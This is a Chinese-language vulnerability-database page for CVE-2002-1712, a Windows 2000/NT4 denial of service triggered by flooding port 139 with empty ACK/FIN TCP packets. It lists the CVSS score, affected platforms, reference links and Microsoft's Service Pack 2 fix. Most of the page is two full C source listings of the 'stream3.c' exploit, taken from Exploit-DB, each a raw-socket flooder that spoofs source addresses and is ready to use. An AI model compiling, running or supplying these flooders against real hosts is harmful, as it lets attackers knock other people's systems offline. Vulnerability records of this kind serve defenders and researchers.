CVE-2002-1712
CVSS5.0
发布时间 :2002-12-31 00:00:00
修订时间 :2008-09-05 16:31:19
NMCOE    

[原文]Microsoft Windows 2000 allows remote attackers to cause a denial of service (memory consumption) by sending a flood of empty TCP/IP packets with the ACK and FIN bits set to the NetBIOS port (TCP/139), as demonstrated by stream3.


[CNNVD]Microsoft Windows TCP Stack DoS 漏洞(CNNVD-200212-709)

        Microsoft Windows 2000存在漏洞。远程攻击者通过发送一大批将ACK和FIN二进制数调到NetBIOS端口(TCP/139)的空TCP/IP数据包导致服务拒绝(内存消耗),正如stream3。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:microsoft:windows_nt:4.0:sp1:serverMicrosoft Windows 4.0 sp1 server
cpe:/o:microsoft:windows_nt:4.0:sp1:enterprise_server
cpe:/o:microsoft:windows_nt:4.0::server
cpe:/o:microsoft:windows_nt:4.0:sp5:workstationMicrosoft Windows 4.0 sp5 workstation
cpe:/o:microsoft:windows_nt:4.0:sp6a:enterprise_server
cpe:/o:microsoft:windows_nt:4.0:sp3:workstationMicrosoft Windows 4.0 sp3 workstation
cpe:/o:microsoft:windows_nt:4.0::enterprise_server
cpe:/o:microsoft:windows_nt:4.0:sp6a:workstationMicrosoft Windows 4.0 sp6a workstation
cpe:/o:microsoft:windows_nt:4.0:sp6:enterprise_server
cpe:/o:microsoft:windows_nt:4.0:sp1:workstationMicrosoft Windows 4.0 sp1 workstation
cpe:/o:microsoft:windows_2000:::advanced_server
cpe:/o:microsoft:windows_nt:4.0:sp2:workstationMicrosoft Windows 4.0 sp2 workstation
cpe:/o:microsoft:windows_nt:4.0:sp3:enterprise_server
cpe:/o:microsoft:windows_nt:4.0:sp4:workstationMicrosoft Windows 4.0 sp4 workstation
cpe:/o:microsoft:windows_2000:::professional
cpe:/o:microsoft:windows_nt:4.0:sp5:enterprise_server
cpe:/o:microsoft:windows_nt:4.0:sp6a:serverMicrosoft Windows 4.0 sp6a server
cpe:/o:microsoft:windows_2000::sp1:professionalMicrosoft Windows 2000 Professional SP1
cpe:/o:microsoft:windows_nt:4.0:sp2:enterprise_server
cpe:/o:microsoft:windows_2000::sp1:serverMicrosoft Windows 2000 Server SP1
cpe:/o:microsoft:windows_nt:4.0:sp2:serverMicrosoft Windows 4.0 sp2 server
cpe:/o:microsoft:windows_nt:4.0:sp3:serverMicrosoft Windows 4.0 sp3 server
cpe:/o:microsoft:windows_nt:4.0:sp4:enterprise_server
cpe:/o:microsoft:windows_2000:::server
cpe:/o:microsoft:windows_2000::sp1:advanced_serverMicrosoft Windows 2000 Advanced Server SP1
cpe:/o:microsoft:windows_nt:4.0:sp5:serverMicrosoft Windows 4.0 sp5 server
cpe:/o:microsoft:windows_nt:4.0::workstation
cpe:/o:microsoft:windows_nt:4.0:sp6:serverMicrosoft Windows 4.0 sp6 server
cpe:/o:microsoft:windows_nt:4.0:sp6:workstationMicrosoft Windows 4.0 sp6 workstation
cpe:/o:microsoft:windows_nt:4.0:sp4:serverMicrosoft Windows 4.0 sp4 server

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1712
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1712
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200212-709
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/8037
(PATCH)  XF  win2k-empty-tcp-dos(8037)
http://www.securityfocus.com/bid/3967
(PATCH)  BID  3967
http://support.microsoft.com/default.aspx?scid=kb;EN-US;q280446
(VENDOR_ADVISORY)  MSKB  Q280446

- 漏洞信息

Microsoft Windows TCP Stack DoS 漏洞
中危 其他
2002-12-31 00:00:00 2005-10-20 00:00:00
远程  
        Microsoft Windows 2000存在漏洞。远程攻击者通过发送一大批将ACK和FIN二进制数调到NetBIOS端口(TCP/139)的空TCP/IP数据包导致服务拒绝(内存消耗),正如stream3。

- 公告与补丁

        Microsoft has acknowledged this issue in Windows 2000 and can be addressed by installing Service Pack 2.
        Microsoft Windows 2000 Professional
        
        Microsoft Windows 2000 Advanced Server SP1
        
        Microsoft Windows 2000 Professional SP1
        
        Microsoft Windows 2000 Server SP1
        
        Microsoft Windows 2000 Advanced Server
        
        Microsoft Windows 2000 Server
        

- 漏洞信息 (21245)

Microsoft Windows 2000/NT 4 TCP Stack DoS Vulnerability (1) (EDBID:21245)
windows dos
2001-04-13 Verified
0 3APA3A
N/A [点击下载]
source: http://www.securityfocus.com/bid/3967/info

An issue exists in Windows which could cause the TCP stack to consume all available system memory.

This is achieved if a user sends numerous empty TCP packets to a host on port 139.

Successful exploitation of this vulnerability could render the system useless.

/*                                    
 stream3.c - FIN/ACK flooder
 Tested to compile and work under FreeBSD
 (c) by 3APA3A @ SECURITY.NNOV, 2000
 3APA3A@security.nnov.ru
 http://www.security.nnov.ru
 Thanx to DarkZorro & Error for discovering this problem
 Greetz to void.ru. Get better, Duke!
*/

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <strings.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>


#include <netinet/in.h>
#include <netdb.h>

#ifdef LINUX
#define FIX(x)  htons(x)
#else
#define FIX(x)  (x)
#endif

#define	TH_FIN	0x01
#define	TH_SYN	0x02
#define	TH_RST	0x04
#define	TH_PUSH	0x08
#define	TH_ACK	0x10
#define	TH_URG	0x20


struct ip_hdr {
    u_int       ip_hl:4,                /* header length in 32 bit words */
                ip_v:4;                 /* ip version */
    u_char      ip_tos;                 /* type of service */
    u_short     ip_len;                 /* total packet length */
    u_short     ip_id;                  /* identification */
    u_short     ip_off;                 /* fragment offset */
    u_char      ip_ttl;                 /* time to live */
    u_char      ip_p;                   /* protocol */
    u_short     ip_sum;                 /* ip checksum */
    u_long      ip_src, ip_dst;           /* source and dest address */
};

struct tcp_hdr {
    u_short     th_sport;               /* source port */
    u_short     th_dport;               /* destination port */
    u_long      th_seq;                 /* sequence number */
    u_long      th_ack;                 /* acknowledgement number */
    u_int       th_x2:4,                /* unused */
                th_off:4;               /* data offset */
    u_char      th_flags;               /* flags field */
    u_short     th_win;                 /* window size */
    u_short     th_sum;                 /* tcp checksum */
    u_short     th_urp;                 /* urgent pointer */
};


struct pseudo_hdr {                     /* See RFC 793 Pseudo Header */
    u_long saddr, daddr;                /* source and dest address */
    u_char mbz, ptcl;                   /* zero and protocol */
    u_short tcpl;                       /* tcp length */
};

struct packet {
    struct ip_hdr ip;
    struct tcp_hdr tcp;
};

struct cksum {
    struct pseudo_hdr pseudo;
    struct tcp_hdr tcp;
};



u_short dstport=139, srcport=0;
u_long dstaddr, srcaddr=0;
int sock;

void usage(char *progname)
{
    fprintf(stderr, 
     "Usage: %s <dstaddr> <dstport> <srcaddr> <srcport>\n"
     "    dstaddr     - the target we are trying to attack.\n"
     "    dstport     - TCP port (139 default).\n"
     "    srcaddr     - spoofed source address (random default)\n"
     "    srcport     - spoofed source TCP port (random default)\n",
    progname);
    exit(1);
}



/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;

     /* Our algorithm is simple, using a 32 bit accumulator (sum), we add
      * sequential 16 bit words to it, and at the end, fold back all the
      * carry bits from the top 16 bits into the lower 16 bits. */

     while (nleft > 1)  {
         sum += *w++;
         nleft -= 2;
     }

     /* mop up an odd byte, if necessary */
     if (nleft == 1) {
         *(u_char *)(&answer) = *(u_char *) w;
         sum += answer;
     }

     /* add back carry outs from top 16 bits to low 16 bits */
     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
     sum += (sum >> 16);                /* add carry */
     answer = ~sum;                     /* truncate to 16 bits */
     return(answer);
}

u_long lookup(char *hostname)
{
    struct hostent *hp;

    if ((hp = gethostbyname(hostname)) == NULL) {
       fprintf(stderr, "Could not resolve %s.\n", hostname);
       exit(-3);
    }

    return *(u_long *)hp->h_addr;
}


void flooder(void)
{
    int i;
    struct packet packet;
					/* use same structure as pseudo packet */
    struct cksum  * cksum = (struct cksum *)((char *)&packet + sizeof(struct ip_hdr) - sizeof(struct pseudo_hdr)) ;
    struct sockaddr_in s_in;
    
    memset(&packet, 0, sizeof(packet));
    
    if(!srcaddr)srcaddr = random();
    if(!srcport)srcport = rand();


    packet.tcp.th_win           = htons(16384);
    packet.tcp.th_seq           = random();
    packet.tcp.th_ack           = 0;
    packet.tcp.th_off           = 5;
    packet.tcp.th_urp           = 0;
    packet.tcp.th_ack 		= rand();
    packet.tcp.th_flags 	= TH_ACK|TH_FIN;
    packet.tcp.th_sport 	= htons(srcport);
    packet.tcp.th_dport         = htons(dstport);
    cksum->pseudo.daddr          = dstaddr;
    cksum->pseudo.saddr		 = srcaddr;
    cksum->pseudo.mbz            = 0;
    cksum->pseudo.ptcl           = IPPROTO_TCP;
    cksum->pseudo.tcpl           = htons(sizeof(struct tcp_hdr));
 
    packet.tcp.th_sum           = in_cksum((void *)cksum, sizeof(struct cksum));

    packet.ip.ip_hl             = 5;
    packet.ip.ip_v              = 4;
    packet.ip.ip_p              = IPPROTO_TCP;
    packet.ip.ip_tos            = 0x08;
    packet.ip.ip_id             = rand();
    packet.ip.ip_len            = FIX(sizeof(packet));
    packet.ip.ip_off            = 0;
    packet.ip.ip_ttl            = 255;
    packet.ip.ip_dst		= dstaddr;
    packet.ip.ip_src     	= srcaddr;
    packet.ip.ip_sum         	= 0;
    packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);

    s_in.sin_family             = AF_INET;
    s_in.sin_port               = htons(dstport);
    s_in.sin_addr.s_addr	= dstaddr;
    for(i=0;;++i) {			/* we do not want to change packet at all */
       if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0)
          perror("sendto()");
    }
}

int main(int argc, char *argv[])
{
    int on = 1;

    printf("stream3.c v0.1 - FIN/ACK Storm\n 3APA3A@security.nnov.ru\n");

    if (argc < 1) exit(-3);
    if (argc < 3 || argc > 5)
       usage(argv[0]);

    srand(time(NULL)); 			/* we needn't too much randomness */

    dstaddr     = lookup(argv[1]);
    dstport     = atoi(argv[2]);

    if (!dstaddr || !dstport) usage(argv[0]);

    if(argc > 3) srcaddr = lookup(argv[3]);
    if(argc > 4) srcport = atoi(argv[4]);

    if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
       perror("socket()");
       exit(-1);
    }

    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
       perror("setsockopt()");
       exit(-2);
    }

    printf("Starting"); 
    fflush(stdout);

    flooder();

    return 0;
}		

- 漏洞信息 (21246)

Microsoft Windows 2000/NT 4 TCP Stack DoS Vulnerability (2) (EDBID:21246)
windows dos
2001-04-13 Verified
0 3APA3A
N/A [点击下载]
source: http://www.securityfocus.com/bid/3967/info
 
An issue exists in Windows which could cause the TCP stack to consume all available system memory.
 
This is achieved if a user sends numerous empty TCP packets to a host on port 139.
 
Successful exploitation of this vulnerability could render the system useless.

/*
 stream3.c - TCP FIN packet flooder
 patched from stream.c by 3APA3A, 2000
 3APA3A@security.nnov.ru
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <strings.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>

#ifdef LINUX
#define FIX(x)  htons(x)
#else
#define FIX(x)  (x)
#endif

struct ip_hdr {
    u_int       ip_hl:4,                /* header length in 32 bit words */
                ip_v:4;                 /* ip version */
    u_char      ip_tos;                 /* type of service */
    u_short     ip_len;                 /* total packet length */
    u_short     ip_id;                  /* identification */
    u_short     ip_off;                 /* fragment offset */
    u_char      ip_ttl;                 /* time to live */
    u_char      ip_p;                   /* protocol */
    u_short     ip_sum;                 /* ip checksum */
    u_long      saddr, daddr;           /* source and dest address */
};

struct tcp_hdr {
    u_short     th_sport;               /* source port */
    u_short     th_dport;               /* destination port */
    u_long      th_seq;                 /* sequence number */
    u_long      th_ack;                 /* acknowledgement number */
    u_int       th_x2:4,                /* unused */
                th_off:4;               /* data offset */
    u_char      th_flags;               /* flags field */
    u_short     th_win;                 /* window size */
    u_short     th_sum;                 /* tcp checksum */
    u_short     th_urp;                 /* urgent pointer */
};

struct tcpopt_hdr {
    u_char  type;                       /* type */
    u_char  len;                                /* length */
    u_short value;                      /* value */
};

struct pseudo_hdr {                     /* See RFC 793 Pseudo Header */
    u_long saddr, daddr;                        /* source and dest address */
    u_char mbz, ptcl;                   /* zero and protocol */
    u_short tcpl;                       /* tcp length */
};

struct packet {
    struct ip/*_hdr*/ ip;
    struct tcphdr tcp;
/* struct tcpopt_hdr opt; */
};

struct cksum {
    struct pseudo_hdr pseudo;
    struct tcphdr tcp;
};

struct packet packet;
struct cksum cksum;
struct sockaddr_in s_in;
u_short dstport, pktsize, pps;
u_long dstaddr;
int sock;

void usage(char *progname)
{
    fprintf(stderr, "Usage: %s <dstaddr> <dstport> <pktsize> <pps>\n", 
progname);
    fprintf(stderr, "    dstaddr  - the target we are trying to attack.\n");
    fprintf(stderr, "    dstport  - the port of the target, 0 = random.\n");
    fprintf(stderr, "    pktsize  - the extra size to use.  0 = normal 
syn.\n");
    exit(1);
}

/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;

     /* Our algorithm is simple, using a 32 bit accumulator (sum), we add
      * sequential 16 bit words to it, and at the end, fold back all the
      * carry bits from the top 16 bits into the lower 16 bits. */

     while (nleft > 1)  {
         sum += *w++;
         nleft -= 2;
     }

     /* mop up an odd byte, if necessary */
     if (nleft == 1) {
         *(u_char *)(&answer) = *(u_char *) w;
         sum += answer;
     }

     /* add back carry outs from top 16 bits to low 16 bits */
     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
     sum += (sum >> 16);                /* add carry */
     answer = ~sum;                     /* truncate to 16 bits */
     return(answer);
}

u_long lookup(char *hostname)
{
    struct hostent *hp;

    if ((hp = gethostbyname(hostname)) == NULL) {
       fprintf(stderr, "Could not resolve %s.\n", hostname);
       exit(1);
    }

    return *(u_long *)hp->h_addr;
}


void flooder(void)
{
    struct timespec ts;
    int i;


    memset(&packet, 0, sizeof(packet));

    ts.tv_sec                   = 0;
    ts.tv_nsec                  = 10;

    packet.ip.ip_hl             = 5;
    packet.ip.ip_v              = 4;
    packet.ip.ip_p              = IPPROTO_TCP;
    packet.ip.ip_tos            = 0x08;
    packet.ip.ip_id             = rand();
    packet.ip.ip_len            = FIX(sizeof(packet));
    packet.ip.ip_off            = 0; /* IP_DF? */
    packet.ip.ip_ttl            = 255;
    packet.ip.ip_dst.s_addr     = dstaddr;
    packet.ip.ip_src.s_addr     = random();
    packet.ip.ip_sum         	= 0;
    packet.tcp.th_sum           = 0;

    packet.tcp.th_win           = htons(16384);
    packet.tcp.th_seq           = random();
    packet.tcp.th_ack           = 0;
    packet.tcp.th_off           = 5; /* 5 */
    packet.tcp.th_urp           = 0;
    packet.tcp.th_ack 		= rand();
    packet.tcp.th_flags 	= TH_ACK|TH_FIN;
    packet.tcp.th_sport 	= rand();
    packet.tcp.th_dport         = dstport?htons(dstport):rand();

/*
    packet.opt.type             = 0x02;
    packet.opt.len              = 0x04;
    packet.opt.value            = htons(1460);
*/


    s_in.sin_family             = AF_INET;
    s_in.sin_port               = packet.tcp.th_dport;
    s_in.sin_addr.s_addr	= dstaddr;

    cksum.pseudo.daddr          = dstaddr;
    cksum.pseudo.saddr		= packet.ip.ip_src.s_addr;
    cksum.pseudo.mbz            = 0;
    cksum.pseudo.ptcl           = IPPROTO_TCP;
    cksum.pseudo.tcpl           = htons(sizeof(struct tcphdr));
    cksum.tcp                   = packet.tcp;

    packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
    packet.tcp.th_sum           = in_cksum((void *)&cksum, sizeof(cksum));


    for(i=0;;++i) {


       if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr 
*)&s_in, sizeof(s_in)) < 0)
          perror("jess");

    }
}

int main(int argc, char *argv[])
{
    int on = 1;

    printf("stream3.c v0.01 - TCP FIN Packet Flooder\n modified by 3APA3A@security.nnov.ru\n");

    if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
       perror("socket");
       exit(1);
    }

    setgid(getgid()); setuid(getuid());

    if (argc < 4)
       usage(argv[0]);

    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) <  0) {
       perror("setsockopt");
       exit(1);
    }

    srand((time(NULL) ^ getpid()) + getppid());

    printf("\nResolving IPs..."); fflush(stdout);

    dstaddr     = lookup(argv[1]);
    dstport     = atoi(argv[2]);
    pktsize     = atoi(argv[3]);

    printf("Sending..."); fflush(stdout);

    flooder();

    return 0;
}		

- 漏洞信息

21598
Microsoft Windows 2000 NetBIOS Port Malformed TCP Packet Parsing Remote DoS
Remote / Network Access Denial of Service
Loss of Availability Patch / RCS
Exploit Public Vendor Verified, Third-party Verified

- 漏洞描述

- 时间线

2002-01-28 Unknow
2002-01-28 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released SP2 to address this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站